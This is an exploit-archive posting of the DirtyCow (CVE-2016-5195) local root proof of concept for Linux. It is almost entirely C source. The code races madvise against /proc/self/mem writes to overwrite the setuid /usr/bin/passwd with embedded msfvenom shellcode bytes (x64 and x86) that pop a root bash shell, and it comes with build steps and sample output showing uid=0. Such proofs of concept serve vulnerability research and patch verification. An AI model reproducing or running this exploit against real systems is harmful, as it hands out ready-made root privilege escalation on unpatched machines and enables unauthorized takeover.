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DirtyCow Local Root Proof Of Concept

DirtyCow Local Root Proof Of Concept
Posted Oct 21, 2016
Authored by Robin Verton

DirtyCow local root proof of concept exploit that overwrites passwd.

tags | exploit, local, root, proof of concept
advisories | CVE-2016-5195
MD5 | 121f1c681c29b7ccd0d3886ff9506757

DirtyCow Local Root Proof Of Concept

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/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
char buf[sc_len];

for(;;) {
FILE *fp = fopen(suid_binary, "rb");

fread(buf, sc_len, 1, fp);

if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}

fclose(fp);
sleep(1);
}

stop = 1;

printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");

system(suid_binary);
}

int main(int argc,char *argv[]) {
char *backup;

printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);

asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);

f = open(suid_binary,O_RDONLY);
fstat(f,&st);

printf("Size of binary: %d\n", st.st_size);

char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);

map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("Racing, this may take a while..\n");

pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);

pthread_join(pth3, NULL);

return 0;
}

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